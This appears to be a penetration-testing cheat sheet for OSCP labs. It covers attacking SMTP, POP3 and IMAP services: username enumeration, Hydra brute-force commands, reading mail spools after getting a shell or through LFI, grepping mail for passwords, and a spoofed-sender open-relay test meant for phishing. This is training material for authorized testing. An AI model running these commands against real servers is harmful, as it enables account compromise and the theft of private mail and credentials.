Mail — SMTP / POP3 / IMAP
Ctrl+F:
port 25·/var/mail·/var/spool/mail·/var/www/mail· VRFY · IMAP
📌 START HERE — port 25 / SMTP on the target
If you see port 25 or SMTP on the target, always look through
/var/mail/and/var/spool/mail.
Local mail stores user inboxes on disk — passwords, internal notes, and creds often sit in plaintext mbox files without needing to brute IMAP.
# After shell or via LFI — read mail spools
ls -la /var/mail/
ls -la /var/spool/mail/
cat /var/mail/root
cat /var/spool/mail/www-data
# App-specific mail dirs (labs)
ls -la /var/www/mail/
cat /var/www/mail/*
grep -rni "password\|passwd\|secret" /var/www/mail/ 2>/dev/null| Path | Notes |
|---|---|
/var/mail/ | User mbox files (often symlink to spool) |
/var/spool/mail/ | Same mail — distro-dependent |
/var/www/mail/ | Web app mail drop — read everything |
→ Local File Inclusion (LFI) · Linux · grep
OSCP priority — know the basics, not mail admin
Mail protocols appear on labs (e.g. TryHackMe Skynet — IMAP) but are lower frequency on the exam than web, SMB, AD, and privesc. When they matter, attacks are usually simple.
Mental model: Mail is often a cred delivery mechanism — enum users, read inboxes, find passwords, pivot to SSH/SMB/web.
Time investment: ~15–30 min hands-on practice on a mail box is enough. Use UseCases for ports for port-specific commands.
📌 Ports at a Glance
| Port | Protocol | OSCP use |
|---|---|---|
| 25 | SMTP | User enum (VRFY/EXPN), open relay, auth brute |
| 587 | SMTP submission | Authenticated sending — brute creds |
| 465 | SMTPS | SMTP over TLS |
| 110 | POP3 | Login → read emails for creds |
| 995 | POP3S | POP3 over TLS |
| 143 | IMAP | Login → read folders/messages |
| 993 | IMAPS | IMAP over TLS |
📌 Standard Attack Flow
Nmap shows 25 / 110 / 143
↓
SMTP → VRFY/EXPN or nmap smtp-enum-users → usernames
↓
Hydra (smtp / pop3 / imap) OR creds found elsewhere
↓
POP3/IMAP → LIST → RETR / FETCH → passwords, VPN info, internal hosts
↓
Use creds on SSH / SMB / web → foothold
📌 SMTP (Port 25 / 587 / 465)
Sending mail — main enum value is username discovery and open relay.
Manual interaction
nc -nv TARGET 25
telnet TARGET 25EHLO attacker.com # Handshake — shows server capabilities
VRFY root # Does user exist? (often enabled on labs)
EXPN www # Expand mailing list → usernames
RCPT TO:<user@domain.com> # Test if recipient exists
QUIT
Automated enum
# Nmap
nmap -p 25 --script smtp-enum-users,smtp-commands,smtp-open-relay TARGET
nmap -p 25 -sV TARGET
# smtp-user-enum (Kali)
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t TARGET
smtp-user-enum -M RCPT -U users.txt -t TARGET -D domain.local
# MetaSploit auxiliary (see [[Auxiliary]])
# auxiliary/scanner/smtp/smtp_enumOpen relay test
# If relay allowed — can send mail as anyone (phishing / cred delivery)
swaks --to user@domain.com --from attacker@evil.com --server TARGET
# SMTPS (465)
swaks --to user@domain.com --server TARGET --port 465 --tlsBrute force
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt TARGET smtp -t 8 -f
hydra -L users.txt -P passwords.txt TARGET -s 465 -S smtp -t 8 -f # SMTPSSee Hydra.
📌 POP3 (Port 110 / 995)
Download mail — classic OSCP path: read messages for passwords.
Manual interaction
nc -nv TARGET 110
telnet TARGET 110USER username
PASS password
LIST # List message numbers
RETR 1 # Read email #1 — LOOK FOR CREDS HERE
RETR 2
DELE 1 # Delete (optional)
QUIT
TLS (995)
openssl s_client -connect TARGET:995
# Then issue POP3 commands after connectionBrute force
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt TARGET pop3 -t 4 -f
hydra -L users.txt -P passwords.txt TARGET pop3s -s 995 -S -t 4 -fNmap
nmap -p 110 --script pop3-capabilities,pop3-ntlm-info TARGET📌 IMAP (Port 143 / 993)
Access mail on server — same goal as POP3: read inbox for secrets.
Manual interaction
nc -nv TARGET 143
telnet TARGET 143Every command needs a tag prefix (e.g. a1):
a1 LOGIN username password
a1 LIST "" "*" # All folders
a1 SELECT INBOX # Open inbox
a1 FETCH 1 BODY[] # Read first message body
a1 FETCH 1 BODY[HEADER] # Headers only
a1 LOGOUT
TLS (993)
openssl s_client -connect TARGET:993
# Then IMAP commands with tag prefixBrute force
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt TARGET imap -t 4 -f
hydra -L users.txt -P passwords.txt TARGET imaps -s 993 -S -t 4 -fNmap
nmap -p 143 --script imap-capabilities,imap-ntlm-info TARGET📌 What to Look For in Emails
| Find | Use for |
|---|---|
| Passwords in plaintext | Login to SSH, SMB, web, VPN |
| Password reset links | Account takeover |
| Internal hostnames / IPs | Pivot targets |
| Usernames | Expand wordlists for Hydra |
| Attachments | Malware/stego in CTF-style boxes |
# After RETR/FETCH — grep saved mail
grep -iE "pass|password|pwd|credential|login|vpn|ssh" mail.txtSee grep and Pipelines & Chaining.
📌 What NOT to Deep-Dive (OSCP)
Skip for exam prep:
- MIME/multipart parsing internals
- Exchange / Outlook-specific admin
- Mail server hardening & config
- Full RFC command reference
Stick to: enum → brute → read mail → use creds elsewhere.
📌 Tool Summary
| Tool | Use |
|---|---|
nc / telnet | Manual SMTP/POP3/IMAP |
| Nmap | smtp-enum-users, pop3/imap scripts |
smtp-user-enum | SMTP VRFY/RCPT user list |
swaks | Send test email / open relay check |
| Hydra | smtp, pop3, imap brute |
| Netcat | Raw banner grab |
Not an nxc protocol — mail enum is nc + Nmap + Hydra, not CrackMapExec - nxc.
📌 Quick Copy/Paste
# ─── SMTP user enum ───────────────────────────────────────────
nmap -p 25 --script smtp-enum-users TARGET
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t TARGET
# ─── Brute ────────────────────────────────────────────────────
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt TARGET pop3 -t 4 -f
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt TARGET imap -t 4 -f
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt TARGET smtp -t 8 -f
# ─── POP3 read mail (interactive) ───────────────────────────────
# USER user → PASS pass → LIST → RETR 1
# ─── IMAP read mail (interactive) ─────────────────────────────
# a1 LOGIN user pass → a1 SELECT INBOX → a1 FETCH 1 BODY[]